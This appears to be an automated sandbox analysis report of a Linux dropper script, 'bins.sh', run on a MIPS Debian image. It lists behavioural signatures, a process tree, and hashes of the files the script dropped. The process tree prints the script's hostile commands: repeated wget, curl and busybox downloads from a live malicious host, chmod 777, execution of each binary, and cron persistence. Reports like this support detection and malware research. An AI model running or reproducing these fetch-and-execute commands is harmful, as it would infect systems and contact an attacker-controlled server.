Analysis

  • max time kernel
    149s
  • max time network
    148s
  • platform
    debian-9_mipsel
  • resource
    debian9-mipsel-20240729-en
  • resource tags

    arch:mipselimage:debian9-mipsel-20240729-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
  • submitted
    22/11/2024, 10:57

General

  • Target
    bins.sh
  • Size 10KB
  • Sample241122-m19jaayrb1
  • SHA256 73abbaa7b9f154634c0a04d00f54e2d30fd1c017794e3fe52770db5773fdeaac
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • Contacts a large (1299) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 11 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 11 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 39 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 33 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:716
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:719
        • /usr/bin/wget
          wget http://conn.masjesu.zip/bins/67XAWhGM6RrjBVHLnTX5wzIt19nQHym3oa
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:721
        • /usr/bin/curl
          curl -O http://conn.masjesu.zip/bins/67XAWhGM6RrjBVHLnTX5wzIt19nQHym3oa
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:745
        • /bin/busybox
          /bin/busybox wget http://conn.masjesu.zip/bins/67XAWhGM6RrjBVHLnTX5wzIt19nQHym3oa
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:747
        • /bin/chmod
          chmod 777 67XAWhGM6RrjBVHLnTX5wzIt19nQHym3oa
          2⤵
          • File and Directory Permissions Modification
          PID:748
        • /tmp/67XAWhGM6RrjBVHLnTX5wzIt19nQHym3oa
          ./67XAWhGM6RrjBVHLnTX5wzIt19nQHym3oa
          2⤵
          • Executes dropped EXE
          PID:749
        • /bin/rm
          rm 67XAWhGM6RrjBVHLnTX5wzIt19nQHym3oa
          2⤵
            PID:751
          • /usr/bin/wget
            wget http://conn.masjesu.zip/bins/027nbtGZfM9rgdpwbdbveNDux3k93n8KT8
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:752
          • /usr/bin/curl
            curl -O http://conn.masjesu.zip/bins/027nbtGZfM9rgdpwbdbveNDux3k93n8KT8
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:753
          • /bin/busybox
            /bin/busybox wget http://conn.masjesu.zip/bins/027nbtGZfM9rgdpwbdbveNDux3k93n8KT8
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:755
          • /bin/chmod
            chmod 777 027nbtGZfM9rgdpwbdbveNDux3k93n8KT8
            2⤵
            • File and Directory Permissions Modification
            PID:758
          • /tmp/027nbtGZfM9rgdpwbdbveNDux3k93n8KT8
            ./027nbtGZfM9rgdpwbdbveNDux3k93n8KT8
            2⤵
            • Executes dropped EXE
            PID:759
          • /bin/rm
            rm 027nbtGZfM9rgdpwbdbveNDux3k93n8KT8
            2⤵
              PID:763
            • /usr/bin/wget
              wget http://conn.masjesu.zip/bins/csnbouXopQvCLckjL26Q0dKKxmhCn9GviA
              2⤵
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:764
            • /usr/bin/curl
              curl -O http://conn.masjesu.zip/bins/csnbouXopQvCLckjL26Q0dKKxmhCn9GviA
              2⤵
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:773
            • /bin/busybox
              /bin/busybox wget http://conn.masjesu.zip/bins/csnbouXopQvCLckjL26Q0dKKxmhCn9GviA
              2⤵
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:782
            • /bin/chmod
              chmod 777 csnbouXopQvCLckjL26Q0dKKxmhCn9GviA
              2⤵
              • File and Directory Permissions Modification
              PID:793
            • /tmp/csnbouXopQvCLckjL26Q0dKKxmhCn9GviA
              ./csnbouXopQvCLckjL26Q0dKKxmhCn9GviA
              2⤵
              • Executes dropped EXE
              PID:795
            • /bin/rm
              rm csnbouXopQvCLckjL26Q0dKKxmhCn9GviA
              2⤵
                PID:799
              • /usr/bin/wget
                wget http://conn.masjesu.zip/bins/cW6Ir2iYHNOtsO56kHv2Gg31TjibcmI6uT
                2⤵
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:800
              • /usr/bin/curl
                curl -O http://conn.masjesu.zip/bins/cW6Ir2iYHNOtsO56kHv2Gg31TjibcmI6uT
                2⤵
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:814
              • /bin/busybox
                /bin/busybox wget http://conn.masjesu.zip/bins/cW6Ir2iYHNOtsO56kHv2Gg31TjibcmI6uT
                2⤵
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:816
              • /bin/chmod
                chmod 777 cW6Ir2iYHNOtsO56kHv2Gg31TjibcmI6uT
                2⤵
                • File and Directory Permissions Modification
                PID:817
              • /tmp/cW6Ir2iYHNOtsO56kHv2Gg31TjibcmI6uT
                ./cW6Ir2iYHNOtsO56kHv2Gg31TjibcmI6uT
                2⤵
                • Executes dropped EXE
                PID:818
              • /bin/rm
                rm cW6Ir2iYHNOtsO56kHv2Gg31TjibcmI6uT
                2⤵
                  PID:820
                • /usr/bin/wget
                  wget http://conn.masjesu.zip/bins/Cr5gGxQFhupljubP115jJ8lpGqtT4sHMq6
                  2⤵
                  • System Network Configuration Discovery
                  • Writes file to tmp directory
                  PID:821
                • /usr/bin/curl
                  curl -O http://conn.masjesu.zip/bins/Cr5gGxQFhupljubP115jJ8lpGqtT4sHMq6
                  2⤵
                  • System Network Configuration Discovery
                  • Writes file to tmp directory
                  PID:822
                • /bin/busybox
                  /bin/busybox wget http://conn.masjesu.zip/bins/Cr5gGxQFhupljubP115jJ8lpGqtT4sHMq6
                  2⤵
                  • System Network Configuration Discovery
                  • Writes file to tmp directory
                  PID:824
                • /bin/chmod
                  chmod 777 Cr5gGxQFhupljubP115jJ8lpGqtT4sHMq6
                  2⤵
                  • File and Directory Permissions Modification
                  PID:835
                • /tmp/Cr5gGxQFhupljubP115jJ8lpGqtT4sHMq6
                  ./Cr5gGxQFhupljubP115jJ8lpGqtT4sHMq6
                  2⤵
                  • Executes dropped EXE
                  PID:836
                • /bin/rm
                  rm Cr5gGxQFhupljubP115jJ8lpGqtT4sHMq6
                  2⤵
                    PID:839
                  • /usr/bin/wget
                    wget http://conn.masjesu.zip/bins/Ia6uvrJinOANxr6lBYeMxpUvbdQkYCq51Q
                    2⤵
                    • System Network Configuration Discovery
                    • Writes file to tmp directory
                    PID:841
                  • /usr/bin/curl
                    curl -O http://conn.masjesu.zip/bins/Ia6uvrJinOANxr6lBYeMxpUvbdQkYCq51Q
                    2⤵
                    • System Network Configuration Discovery
                    • Writes file to tmp directory
                    PID:858
                  • /bin/busybox
                    /bin/busybox wget http://conn.masjesu.zip/bins/Ia6uvrJinOANxr6lBYeMxpUvbdQkYCq51Q
                    2⤵
                    • System Network Configuration Discovery
                    • Writes file to tmp directory
                    PID:865
                  • /bin/chmod
                    chmod 777 Ia6uvrJinOANxr6lBYeMxpUvbdQkYCq51Q
                    2⤵
                    • File and Directory Permissions Modification
                    PID:866
                  • /tmp/Ia6uvrJinOANxr6lBYeMxpUvbdQkYCq51Q
                    ./Ia6uvrJinOANxr6lBYeMxpUvbdQkYCq51Q
                    2⤵
                    • Executes dropped EXE
                    PID:867
                  • /bin/rm
                    rm Ia6uvrJinOANxr6lBYeMxpUvbdQkYCq51Q
                    2⤵
                      PID:869
                    • /usr/bin/wget
                      wget http://conn.masjesu.zip/bins/UcwXUUNAd7qB2ipqXcttfe5pkJ4mslregT
                      2⤵
                      • System Network Configuration Discovery
                      • Writes file to tmp directory
                      PID:870
                    • /usr/bin/curl
                      curl -O http://conn.masjesu.zip/bins/UcwXUUNAd7qB2ipqXcttfe5pkJ4mslregT
                      2⤵
                      • System Network Configuration Discovery
                      • Writes file to tmp directory
                      PID:871
                    • /bin/busybox
                      /bin/busybox wget http://conn.masjesu.zip/bins/UcwXUUNAd7qB2ipqXcttfe5pkJ4mslregT
                      2⤵
                      • System Network Configuration Discovery
                      • Writes file to tmp directory
                      PID:873
                    • /bin/chmod
                      chmod 777 UcwXUUNAd7qB2ipqXcttfe5pkJ4mslregT
                      2⤵
                      • File and Directory Permissions Modification
                      PID:874
                    • /tmp/UcwXUUNAd7qB2ipqXcttfe5pkJ4mslregT
                      ./UcwXUUNAd7qB2ipqXcttfe5pkJ4mslregT
                      2⤵
                      • Executes dropped EXE
                      • System Network Configuration Discovery
                      PID:875
                    • /bin/rm
                      rm UcwXUUNAd7qB2ipqXcttfe5pkJ4mslregT
                      2⤵
                      • System Network Configuration Discovery
                      PID:877
                    • /usr/bin/wget
                      wget http://conn.masjesu.zip/bins/ikXAZUKuguyqzhPvZVfuCw1p5y75s2Oe3Y
                      2⤵
                      • System Network Configuration Discovery
                      • Writes file to tmp directory
                      PID:878
                    • /usr/bin/curl
                      curl -O http://conn.masjesu.zip/bins/ikXAZUKuguyqzhPvZVfuCw1p5y75s2Oe3Y
                      2⤵
                      • Reads runtime system information
                      • System Network Configuration Discovery
                      • Writes file to tmp directory
                      PID:879
                    • /bin/busybox
                      /bin/busybox wget http://conn.masjesu.zip/bins/ikXAZUKuguyqzhPvZVfuCw1p5y75s2Oe3Y
                      2⤵
                      • System Network Configuration Discovery
                      • Writes file to tmp directory
                      PID:881
                    • /bin/chmod
                      chmod 777 ikXAZUKuguyqzhPvZVfuCw1p5y75s2Oe3Y
                      2⤵
                      • File and Directory Permissions Modification
                      PID:882
                    • /tmp/ikXAZUKuguyqzhPvZVfuCw1p5y75s2Oe3Y
                      ./ikXAZUKuguyqzhPvZVfuCw1p5y75s2Oe3Y
                      2⤵
                      • Executes dropped EXE
                      PID:883
                    • /bin/rm
                      rm ikXAZUKuguyqzhPvZVfuCw1p5y75s2Oe3Y
                      2⤵
                        PID:885
                      • /usr/bin/wget
                        wget http://conn.masjesu.zip/bins/2F1gKxKP8KZQIp9kcbrxBAIIswp6nEwJi9
                        2⤵
                        • System Network Configuration Discovery
                        • Writes file to tmp directory
                        PID:886
                      • /usr/bin/curl
                        curl -O http://conn.masjesu.zip/bins/2F1gKxKP8KZQIp9kcbrxBAIIswp6nEwJi9
                        2⤵
                        • Reads runtime system information
                        • System Network Configuration Discovery
                        • Writes file to tmp directory
                        PID:887
                      • /bin/busybox
                        /bin/busybox wget http://conn.masjesu.zip/bins/2F1gKxKP8KZQIp9kcbrxBAIIswp6nEwJi9
                        2⤵
                        • System Network Configuration Discovery
                        • Writes file to tmp directory
                        PID:889
                      • /bin/chmod
                        chmod 777 2F1gKxKP8KZQIp9kcbrxBAIIswp6nEwJi9
                        2⤵
                        • File and Directory Permissions Modification
                        PID:890
                      • /tmp/2F1gKxKP8KZQIp9kcbrxBAIIswp6nEwJi9
                        ./2F1gKxKP8KZQIp9kcbrxBAIIswp6nEwJi9
                        2⤵
                        • Executes dropped EXE
                        • System Network Configuration Discovery
                        PID:891
                      • /bin/rm
                        rm 2F1gKxKP8KZQIp9kcbrxBAIIswp6nEwJi9
                        2⤵
                        • System Network Configuration Discovery
                        PID:893
                      • /usr/bin/wget
                        wget http://conn.masjesu.zip/bins/RMOu8PDMo4nKvHxbAlhDt8o0WmGodZgdqa
                        2⤵
                        • System Network Configuration Discovery
                        • Writes file to tmp directory
                        PID:894
                      • /usr/bin/curl
                        curl -O http://conn.masjesu.zip/bins/RMOu8PDMo4nKvHxbAlhDt8o0WmGodZgdqa
                        2⤵
                        • Reads runtime system information
                        • System Network Configuration Discovery
                        • Writes file to tmp directory
                        PID:895
                      • /bin/busybox
                        /bin/busybox wget http://conn.masjesu.zip/bins/RMOu8PDMo4nKvHxbAlhDt8o0WmGodZgdqa
                        2⤵
                        • System Network Configuration Discovery
                        • Writes file to tmp directory
                        PID:897
                      • /bin/chmod
                        chmod 777 RMOu8PDMo4nKvHxbAlhDt8o0WmGodZgdqa
                        2⤵
                        • File and Directory Permissions Modification
                        PID:898
                      • /tmp/RMOu8PDMo4nKvHxbAlhDt8o0WmGodZgdqa
                        ./RMOu8PDMo4nKvHxbAlhDt8o0WmGodZgdqa
                        2⤵
                        • Executes dropped EXE
                        PID:899
                      • /bin/rm
                        rm RMOu8PDMo4nKvHxbAlhDt8o0WmGodZgdqa
                        2⤵
                          PID:901
                        • /usr/bin/wget
                          wget http://conn.masjesu.zip/bins/r70lrajsW4CWNoZQDi0CZvgvUo63UNZevE
                          2⤵
                          • System Network Configuration Discovery
                          • Writes file to tmp directory
                          PID:902
                        • /usr/bin/curl
                          curl -O http://conn.masjesu.zip/bins/r70lrajsW4CWNoZQDi0CZvgvUo63UNZevE
                          2⤵
                          • System Network Configuration Discovery
                          • Writes file to tmp directory
                          PID:903
                        • /bin/busybox
                          /bin/busybox wget http://conn.masjesu.zip/bins/r70lrajsW4CWNoZQDi0CZvgvUo63UNZevE
                          2⤵
                          • System Network Configuration Discovery
                          • Writes file to tmp directory
                          PID:905
                        • /bin/chmod
                          chmod 777 r70lrajsW4CWNoZQDi0CZvgvUo63UNZevE
                          2⤵
                          • File and Directory Permissions Modification
                          PID:906
                        • /tmp/r70lrajsW4CWNoZQDi0CZvgvUo63UNZevE
                          ./r70lrajsW4CWNoZQDi0CZvgvUo63UNZevE
                          2⤵
                          • Executes dropped EXE
                          • Renames itself
                          • Reads runtime system information
                          PID:907
                          • /bin/sh
                            sh -c "crontab -l"
                            3⤵
                              PID:909
                              • /usr/bin/crontab
                                crontab -l
                                4⤵
                                  PID:910
                              • /bin/sh
                                sh -c "crontab -"
                                3⤵
                                  PID:911
                                  • /usr/bin/crontab
                                    crontab -
                                    4⤵
                                    • Creates/modifies Cron job
                                    • Reads runtime system information
                                    PID:912
                              • /bin/rm
                                rm r70lrajsW4CWNoZQDi0CZvgvUo63UNZevE
                                2⤵
                                  PID:914
                                • /usr/bin/wget
                                  wget http://conn.masjesu.zip/bins/ZwNyfWWJiDTXTXlAQh1gzgN1bJ9bn85FXb
                                  2⤵
                                  • System Network Configuration Discovery
                                  PID:917
                                • /usr/bin/curl
                                  curl -O http://conn.masjesu.zip/bins/ZwNyfWWJiDTXTXlAQh1gzgN1bJ9bn85FXb
                                  2⤵
                                  • Reads runtime system information
                                  • System Network Configuration Discovery
                                  PID:998

                              Network

                                    MITRE ATT&CK Enterprise v15

                                    Replay Monitor

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                                    Downloads

                                    027nbtGZfM9rgdpwbdbveNDux3k93n8KT8

                                    • Path /tmp/027nbtGZfM9rgdpwbdbveNDux3k93n8KT8
                                    • Size 98KB
                                    • SHA256 54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d
                                    • MD5 SHA1 SHA512 SSDEEP

                                    2F1gKxKP8KZQIp9kcbrxBAIIswp6nEwJi9

                                    • Path /tmp/2F1gKxKP8KZQIp9kcbrxBAIIswp6nEwJi9
                                    • Size 141KB
                                    • SHA256 dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f
                                    • MD5 SHA1 SHA512 SSDEEP

                                    67XAWhGM6RrjBVHLnTX5wzIt19nQHym3oa

                                    • Path /tmp/67XAWhGM6RrjBVHLnTX5wzIt19nQHym3oa
                                    • Size 112KB
                                    • SHA256 2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70
                                    • MD5 SHA1 SHA512 SSDEEP

                                    Cr5gGxQFhupljubP115jJ8lpGqtT4sHMq6

                                    • Path /tmp/Cr5gGxQFhupljubP115jJ8lpGqtT4sHMq6
                                    • Size 122KB
                                    • SHA256 0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944
                                    • MD5 SHA1 SHA512 SSDEEP

                                    Ia6uvrJinOANxr6lBYeMxpUvbdQkYCq51Q

                                    • Path /tmp/Ia6uvrJinOANxr6lBYeMxpUvbdQkYCq51Q
                                    • Size 119KB
                                    • SHA256 94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9
                                    • MD5 SHA1 SHA512 SSDEEP

                                    RMOu8PDMo4nKvHxbAlhDt8o0WmGodZgdqa

                                    • Path /tmp/RMOu8PDMo4nKvHxbAlhDt8o0WmGodZgdqa
                                    • Size 127KB
                                    • SHA256 78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d
                                    • MD5 SHA1 SHA512 SSDEEP

                                    UcwXUUNAd7qB2ipqXcttfe5pkJ4mslregT

                                    • Path /tmp/UcwXUUNAd7qB2ipqXcttfe5pkJ4mslregT
                                    • Size 99KB
                                    • SHA256 68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e
                                    • MD5 SHA1 SHA512 SSDEEP

                                    cW6Ir2iYHNOtsO56kHv2Gg31TjibcmI6uT

                                    • Path /tmp/cW6Ir2iYHNOtsO56kHv2Gg31TjibcmI6uT
                                    • Size 111KB
                                    • SHA256 ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588
                                    • MD5 SHA1 SHA512 SSDEEP

                                    csnbouXopQvCLckjL26Q0dKKxmhCn9GviA

                                    • Path /tmp/csnbouXopQvCLckjL26Q0dKKxmhCn9GviA
                                    • Size 151KB
                                    • SHA256 bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2
                                    • MD5 SHA1 SHA512 SSDEEP

                                    ikXAZUKuguyqzhPvZVfuCw1p5y75s2Oe3Y

                                    • Path /tmp/ikXAZUKuguyqzhPvZVfuCw1p5y75s2Oe3Y
                                    • Size 177KB
                                    • SHA256 5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18
                                    • MD5 SHA1 SHA512 SSDEEP

                                    r70lrajsW4CWNoZQDi0CZvgvUo63UNZevE

                                    • Path /tmp/r70lrajsW4CWNoZQDi0CZvgvUo63UNZevE
                                    • Size 151KB
                                    • SHA256 2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948
                                    • MD5 SHA1 SHA512 SSDEEP

                                    tmp.9hRj7F

                                    • Path /var/spool/cron/crontabs/tmp.9hRj7F
                                    • Size 210B
                                    • SHA256 8a0c531807f6e209da7d2eb7b5fb2d1d91ead21abddfb1a892710a9ff726a786
                                    • MD5 SHA1 SHA512